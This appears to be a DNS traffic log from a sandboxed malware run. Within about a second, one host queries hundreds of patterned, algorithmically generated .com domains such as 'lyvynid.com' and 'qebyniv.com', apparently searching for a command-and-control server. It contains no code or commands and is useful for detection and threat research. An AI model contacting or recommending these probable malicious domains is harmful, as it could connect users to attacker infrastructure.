Nov 11, 2024 18:50:45.669281006 CET	192.168.2.6	1.1.1.1	0xb2cc	Standard query (0)	lyvynid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.669294119 CET	192.168.2.6	1.1.1.1	0xe56b	Standard query (0)	qebyniv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.669821024 CET	192.168.2.6	1.1.1.1	0x551f	Standard query (0)	qetykyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.670125008 CET	192.168.2.6	1.1.1.1	0x30e9	Standard query (0)	qegytop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.672384977 CET	192.168.2.6	1.1.1.1	0x41b6	Standard query (0)	vojypat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.743690968 CET	192.168.2.6	1.1.1.1	0x750d	Standard query (0)	puvybuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.784373045 CET	192.168.2.6	1.1.1.1	0x2542	Standard query (0)	gacyvub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.786169052 CET	192.168.2.6	1.1.1.1	0x543d	Standard query (0)	lygytix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.786426067 CET	192.168.2.6	1.1.1.1	0x1c12	Standard query (0)	lyxyvyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.790730000 CET	192.168.2.6	1.1.1.1	0xddf8	Standard query (0)	puzyceg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.791868925 CET	192.168.2.6	1.1.1.1	0xbdc0	Standard query (0)	qexyvyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.791919947 CET	192.168.2.6	1.1.1.1	0x6c7b	Standard query (0)	pufytip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.792515993 CET	192.168.2.6	1.1.1.1	0xd465	Standard query (0)	gaqyhaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.793056011 CET	192.168.2.6	1.1.1.1	0xff3d	Standard query (0)	lymygor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.793256998 CET	192.168.2.6	1.1.1.1	0xc297	Standard query (0)	qeqyhol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.793782949 CET	192.168.2.6	1.1.1.1	0x4aa7	Standard query (0)	vowyjak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.794481993 CET	192.168.2.6	1.1.1.1	0x1a1e	Standard query (0)	pupywyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.795114994 CET	192.168.2.6	1.1.1.1	0x9edd	Standard query (0)	volycem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.795114994 CET	192.168.2.6	1.1.1.1	0xd4e	Standard query (0)	qedyruv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.795332909 CET	192.168.2.6	1.1.1.1	0x3a9a	Standard query (0)	vofyruc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.795732975 CET	192.168.2.6	1.1.1.1	0x794f	Standard query (0)	qetyhov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.796230078 CET	192.168.2.6	1.1.1.1	0x3075	Standard query (0)	galycah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.796538115 CET	192.168.2.6	1.1.1.1	0x38a5	Standard query (0)	pumygil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.797743082 CET	192.168.2.6	1.1.1.1	0xcbc	Standard query (0)	gadyrus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.797743082 CET	192.168.2.6	1.1.1.1	0x28ee	Standard query (0)	vojyrum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.798877001 CET	192.168.2.6	1.1.1.1	0x909f	Standard query (0)	lyvyver.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.802298069 CET	192.168.2.6	1.1.1.1	0x864e	Standard query (0)	gatyhos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.805553913 CET	192.168.2.6	1.1.1.1	0x572a	Standard query (0)	qebyvyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.810758114 CET	192.168.2.6	1.1.1.1	0x91e1	Standard query (0)	pupyjap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.810889959 CET	192.168.2.6	1.1.1.1	0xa0c3	Standard query (0)	ganyvyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.810983896 CET	192.168.2.6	1.1.1.1	0x26de	Standard query (0)	lykytin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.811141014 CET	192.168.2.6	1.1.1.1	0xdb5b	Standard query (0)	vopyjac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.813178062 CET	192.168.2.6	1.1.1.1	0x8faa	Standard query (0)	pujytug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.822571039 CET	192.168.2.6	1.1.1.1	0x412f	Standard query (0)	vonybuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.824213982 CET	192.168.2.6	1.1.1.1	0x7d0d	Standard query (0)	qexysev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.829044104 CET	192.168.2.6	1.1.1.1	0xa70e	Standard query (0)	lymynuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.891077995 CET	192.168.2.6	1.1.1.1	0xffb3	Standard query (0)	pumybuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.891304970 CET	192.168.2.6	1.1.1.1	0x66c0	Standard query (0)	vowymom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.891304970 CET	192.168.2.6	1.1.1.1	0x62e3	Standard query (0)	gadykyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.905599117 CET	192.168.2.6	1.1.1.1	0xe03	Standard query (0)	lyxysad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.905925035 CET	192.168.2.6	1.1.1.1	0xbc19	Standard query (0)	galypob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.912528038 CET	192.168.2.6	1.1.1.1	0x7960	Standard query (0)	pufylul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.912803888 CET	192.168.2.6	1.1.1.1	0x42c7	Standard query (0)	qeqyniq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.913223028 CET	192.168.2.6	1.1.1.1	0x9118	Standard query (0)	lysyjex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.913480043 CET	192.168.2.6	1.1.1.1	0xc1d4	Standard query (0)	qekytig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.913669109 CET	192.168.2.6	1.1.1.1	0xd8a1	Standard query (0)	volypof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.913810968 CET	192.168.2.6	1.1.1.1	0x357	Standard query (0)	puzypav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.913934946 CET	192.168.2.6	1.1.1.1	0xdcdd	Standard query (0)	gaqynih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.914103985 CET	192.168.2.6	1.1.1.1	0x6b8a	Standard query (0)	vofykyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.914402008 CET	192.168.2.6	1.1.1.1	0x5655	Standard query (0)	qedykep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.916198015 CET	192.168.2.6	1.1.1.1	0x6771	Standard query (0)	vojyzik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.916887045 CET	192.168.2.6	1.1.1.1	0x3512	Standard query (0)	qekyxaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.920756102 CET	192.168.2.6	1.1.1.1	0x7270	Standard query (0)	lygylur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.920908928 CET	192.168.2.6	1.1.1.1	0x624b	Standard query (0)	ganyfuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.921113968 CET	192.168.2.6	1.1.1.1	0x59f2	Standard query (0)	qebyfup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924185991 CET	192.168.2.6	1.1.1.1	0xb230	Standard query (0)	lykyxoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924339056 CET	192.168.2.6	1.1.1.1	0x1ee	Standard query (0)	vonygit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924525023 CET	192.168.2.6	1.1.1.1	0x1f27	Standard query (0)	qetyqag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.924673080 CET	192.168.2.6	1.1.1.1	0x259b	Standard query (0)	vopyqef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.925576925 CET	192.168.2.6	1.1.1.1	0x7153	Standard query (0)	gahyziw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.925825119 CET	192.168.2.6	1.1.1.1	0x8411	Standard query (0)	gatyqeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.926532984 CET	192.168.2.6	1.1.1.1	0x5789	Standard query (0)	lyryman.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.927221060 CET	192.168.2.6	1.1.1.1	0x2629	Standard query (0)	qegylul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.927222013 CET	192.168.2.6	1.1.1.1	0x97ca	Standard query (0)	lyvyfux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.927551031 CET	192.168.2.6	1.1.1.1	0x9fc0	Standard query (0)	purymog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.932332039 CET	192.168.2.6	1.1.1.1	0x2942	Standard query (0)	puvydyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.932332039 CET	192.168.2.6	1.1.1.1	0x7d88	Standard query (0)	lysywyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.945259094 CET	192.168.2.6	1.1.1.1	0xbef	Standard query (0)	vocydyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.945724010 CET	192.168.2.6	1.1.1.1	0xae77	Standard query (0)	gacydes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.948055029 CET	192.168.2.6	1.1.1.1	0x576f	Standard query (0)	pujyxoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.155175924 CET	192.168.2.6	1.1.1.1	0x559e	Standard query (0)	puvycel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.155508995 CET	192.168.2.6	1.1.1.1	0xa8bb	Standard query (0)	gahyruh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.157488108 CET	192.168.2.6	1.1.1.1	0xe0c3	Standard query (0)	lyrygid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.157803059 CET	192.168.2.6	1.1.1.1	0xfd8b	Standard query (0)	qegyryq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.159032106 CET	192.168.2.6	1.1.1.1	0xb1e5	Standard query (0)	vocycat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.159341097 CET	192.168.2.6	1.1.1.1	0x133e	Standard query (0)	gacycaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.162229061 CET	192.168.2.6	1.1.1.1	0x5f2f	Standard query (0)	purygiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.163660049 CET	192.168.2.6	1.1.1.1	0x98dc	Standard query (0)	lygywyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.179685116 CET	192.168.2.6	1.1.1.1	0xf8cb	Standard query (0)	qexyxop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.182977915 CET	192.168.2.6	1.1.1.1	0x8d9	Standard query (0)	lyxyxox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.183232069 CET	192.168.2.6	1.1.1.1	0xba8	Standard query (0)	gaqyfub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.183654070 CET	192.168.2.6	1.1.1.1	0xb8ae	Standard query (0)	vofyqek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.184726954 CET	192.168.2.6	1.1.1.1	0x20b7	Standard query (0)	pufyweq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.185482025 CET	192.168.2.6	1.1.1.1	0xff6c	Standard query (0)	qeqyfug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.185816050 CET	192.168.2.6	1.1.1.1	0xec4b	Standard query (0)	puzyxip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.189827919 CET	192.168.2.6	1.1.1.1	0x8e00	Standard query (0)	lymyfyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.195554972 CET	192.168.2.6	1.1.1.1	0x7fb0	Standard query (0)	pupymol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.204651117 CET	192.168.2.6	1.1.1.1	0x5995	Standard query (0)	pufyjag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.207564116 CET	192.168.2.6	1.1.1.1	0x9f43	Standard query (0)	gacypiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.208877087 CET	192.168.2.6	1.1.1.1	0x5eb5	Standard query (0)	gaqyvys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.213505983 CET	192.168.2.6	1.1.1.1	0xd4d7	Standard query (0)	lyxytur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.223346949 CET	192.168.2.6	1.1.1.1	0xb37	Standard query (0)	gatyniz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.225126982 CET	192.168.2.6	1.1.1.1	0x12ae	Standard query (0)	lyvysaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.246642113 CET	192.168.2.6	1.1.1.1	0xd396	Standard query (0)	gahykeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.246670008 CET	192.168.2.6	1.1.1.1	0x6940	Standard query (0)	qetynup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.246995926 CET	192.168.2.6	1.1.1.1	0x41d	Standard query (0)	puvypoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.247319937 CET	192.168.2.6	1.1.1.1	0x8aa7	Standard query (0)	lyrynux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.247374058 CET	192.168.2.6	1.1.1.1	0x7a08	Standard query (0)	vojykyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.247469902 CET	192.168.2.6	1.1.1.1	0x6a0c	Standard query (0)	vocypok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.247606993 CET	192.168.2.6	1.1.1.1	0xbb25	Standard query (0)	puzytul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.247734070 CET	192.168.2.6	1.1.1.1	0x8b75	Standard query (0)	lygyjan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248193979 CET	192.168.2.6	1.1.1.1	0x530b	Standard query (0)	galyzus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248210907 CET	192.168.2.6	1.1.1.1	0xc316	Standard query (0)	vofyjom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248308897 CET	192.168.2.6	1.1.1.1	0x96c1	Standard query (0)	qexytil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248399019 CET	192.168.2.6	1.1.1.1	0xb1d4	Standard query (0)	qeqyvev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248588085 CET	192.168.2.6	1.1.1.1	0xe44e	Standard query (0)	qegykeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248800039 CET	192.168.2.6	1.1.1.1	0xf82	Standard query (0)	pujylyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.248989105 CET	192.168.2.6	1.1.1.1	0xc2ef	Standard query (0)	qebysaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.251764059 CET	192.168.2.6	1.1.1.1	0xe9e9	Standard query (0)	lykylud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.252176046 CET	192.168.2.6	1.1.1.1	0x2edd	Standard query (0)	purybup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.252784967 CET	192.168.2.6	1.1.1.1	0xb5e4	Standard query (0)	vopymit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.254148960 CET	192.168.2.6	1.1.1.1	0x9bb4	Standard query (0)	gadyqaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.254878998 CET	192.168.2.6	1.1.1.1	0x4844	Standard query (0)	qekyluv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.255513906 CET	192.168.2.6	1.1.1.1	0x10bc	Standard query (0)	vonydem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.256302118 CET	192.168.2.6	1.1.1.1	0x5c8f	Standard query (0)	volyzic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.267891884 CET	192.168.2.6	1.1.1.1	0xe36	Standard query (0)	pumydyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.270812988 CET	192.168.2.6	1.1.1.1	0x89e	Standard query (0)	ganydeh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.279575109 CET	192.168.2.6	1.1.1.1	0x694	Standard query (0)	qedyqal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.280165911 CET	192.168.2.6	1.1.1.1	0x2407	Standard query (0)	lysymor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.285737038 CET	192.168.2.6	1.1.1.1	0x8af3	Standard query (0)	vowyguf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.286855936 CET	192.168.2.6	1.1.1.1	0x772a	Standard query (0)	vowybyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.303428888 CET	192.168.2.6	1.1.1.1	0x1035	Standard query (0)	qedyhiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.303714037 CET	192.168.2.6	1.1.1.1	0x4ed1	Standard query (0)	qekyryp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.303916931 CET	192.168.2.6	1.1.1.1	0x3379	Standard query (0)	pupyguq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.305082083 CET	192.168.2.6	1.1.1.1	0xf864	Standard query (0)	lykywex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.305301905 CET	192.168.2.6	1.1.1.1	0xd46b	Standard query (0)	lysygij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.346206903 CET	192.168.2.6	1.1.1.1	0xb0a7	Standard query (0)	vonycaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.351659060 CET	192.168.2.6	1.1.1.1	0x1f65	Standard query (0)	galyryz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.356245041 CET	192.168.2.6	1.1.1.1	0x220d	Standard query (0)	ganycob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.356313944 CET	192.168.2.6	1.1.1.1	0x2fcf	Standard query (0)	lymyved.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.363262892 CET	192.168.2.6	1.1.1.1	0x687e	Standard query (0)	volyrut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.365959883 CET	192.168.2.6	1.1.1.1	0x25e7	Standard query (0)	gadyhoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.366373062 CET	192.168.2.6	1.1.1.1	0xc103	Standard query (0)	vopyguk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.389991045 CET	192.168.2.6	1.1.1.1	0xeef4	Standard query (0)	pumycav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.457942963 CET	192.168.2.6	1.1.1.1	0x573c	Standard query (0)	qebyxog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.460469961 CET	192.168.2.6	1.1.1.1	0x94c7	Standard query (0)	pujywep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.465318918 CET	192.168.2.6	1.1.1.1	0x8ef0	Standard query (0)	gatyfuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.466861963 CET	192.168.2.6	1.1.1.1	0xefc3	Standard query (0)	lyvyxin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.469060898 CET	192.168.2.6	1.1.1.1	0xcae1	Standard query (0)	vojyqac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.470403910 CET	192.168.2.6	1.1.1.1	0x56d	Standard query (0)	qetyfyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.471631050 CET	192.168.2.6	1.1.1.1	0x8051	Standard query (0)	gahyqas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.472618103 CET	192.168.2.6	1.1.1.1	0x484f	Standard query (0)	puvyxig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.473427057 CET	192.168.2.6	1.1.1.1	0xba71	Standard query (0)	lyryfyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.473958015 CET	192.168.2.6	1.1.1.1	0x358	Standard query (0)	vocyzum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.474251032 CET	192.168.2.6	1.1.1.1	0xd215	Standard query (0)	qegyqov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.474555016 CET	192.168.2.6	1.1.1.1	0xec23	Standard query (0)	purydel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.475698948 CET	192.168.2.6	1.1.1.1	0x3917	Standard query (0)	qexyreg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.478059053 CET	192.168.2.6	1.1.1.1	0xbbc5	Standard query (0)	gaqycow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.479989052 CET	192.168.2.6	1.1.1.1	0xc7d2	Standard query (0)	lysyfed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.481086016 CET	192.168.2.6	1.1.1.1	0xba62	Standard query (0)	galyqoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.486112118 CET	192.168.2.6	1.1.1.1	0x31c5	Standard query (0)	qedyfyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.486572981 CET	192.168.2.6	1.1.1.1	0xee46	Standard query (0)	pumyxul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.487648010 CET	192.168.2.6	1.1.1.1	0xbae2	Standard query (0)	lygygux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.496400118 CET	192.168.2.6	1.1.1.1	0xd301	Standard query (0)	gadyfys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.496778965 CET	192.168.2.6	1.1.1.1	0x7460	Standard query (0)	puzywag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.502948046 CET	192.168.2.6	1.1.1.1	0x50d3	Standard query (0)	lymyxir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.504158974 CET	192.168.2.6	1.1.1.1	0xe6f0	Standard query (0)	qeqyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.505795002 CET	192.168.2.6	1.1.1.1	0xeaad	Standard query (0)	vofyguc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.505906105 CET	192.168.2.6	1.1.1.1	0x1d68	Standard query (0)	vowycok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.506099939 CET	192.168.2.6	1.1.1.1	0xcd5a	Standard query (0)	volyqam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.506375074 CET	192.168.2.6	1.1.1.1	0x164c	Standard query (0)	lyxywen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.513251066 CET	192.168.2.6	1.1.1.1	0x8f09	Standard query (0)	lykyjar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.513957977 CET	192.168.2.6	1.1.1.1	0x5886	Standard query (0)	vocyryf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.521738052 CET	192.168.2.6	1.1.1.1	0x836e	Standard query (0)	gatyveh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.531069994 CET	192.168.2.6	1.1.1.1	0x83f1	Standard query (0)	qegyhip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.531518936 CET	192.168.2.6	1.1.1.1	0x431a	Standard query (0)	qebytuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.531826973 CET	192.168.2.6	1.1.1.1	0xb52d	Standard query (0)	puvytuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.532458067 CET	192.168.2.6	1.1.1.1	0x1116	Standard query (0)	pujyjol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.532666922 CET	192.168.2.6	1.1.1.1	0x7561	Standard query (0)	lyvytud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.532845974 CET	192.168.2.6	1.1.1.1	0x7bc9	Standard query (0)	vojyjot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.533041954 CET	192.168.2.6	1.1.1.1	0x338a	Standard query (0)	gahyhiz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.533164024 CET	192.168.2.6	1.1.1.1	0x72e2	Standard query (0)	pufygup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.533200979 CET	192.168.2.6	1.1.1.1	0x95dc	Standard query (0)	vopybym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.535475969 CET	192.168.2.6	1.1.1.1	0x2dfb	Standard query (0)	qetyveq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.535737038 CET	192.168.2.6	1.1.1.1	0x4ca	Standard query (0)	lyryvaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.545919895 CET	192.168.2.6	1.1.1.1	0x5a45	Standard query (0)	purycaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.552084923 CET	192.168.2.6	1.1.1.1	0x1812	Standard query (0)	gacyryb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.562793970 CET	192.168.2.6	1.1.1.1	0xea59	Standard query (0)	ganypis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.563054085 CET	192.168.2.6	1.1.1.1	0xbd35	Standard query (0)	pupybyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.563222885 CET	192.168.2.6	1.1.1.1	0xe689	Standard query (0)	qekykal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.563894033 CET	192.168.2.6	1.1.1.1	0x905c	Standard query (0)	lysynun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.565346003 CET	192.168.2.6	1.1.1.1	0x3d4e	Standard query (0)	vonypic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.568643093 CET	192.168.2.6	1.1.1.1	0x8a58	Standard query (0)	volykek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.570242882 CET	192.168.2.6	1.1.1.1	0x36d9	Standard query (0)	qedynug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.581492901 CET	192.168.2.6	1.1.1.1	0x9d1	Standard query (0)	galykew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.611032963 CET	192.168.2.6	1.1.1.1	0x9ab3	Standard query (0)	lymysox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.611291885 CET	192.168.2.6	1.1.1.1	0xe64e	Standard query (0)	pumypop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.611490011 CET	192.168.2.6	1.1.1.1	0x7a8c	Standard query (0)	gadynub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.616173983 CET	192.168.2.6	1.1.1.1	0x6756	Standard query (0)	puzylyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.616493940 CET	192.168.2.6	1.1.1.1	0xdb7a	Standard query (0)	gaqydaz.com	A (IP address)	IN (0x0001)	false
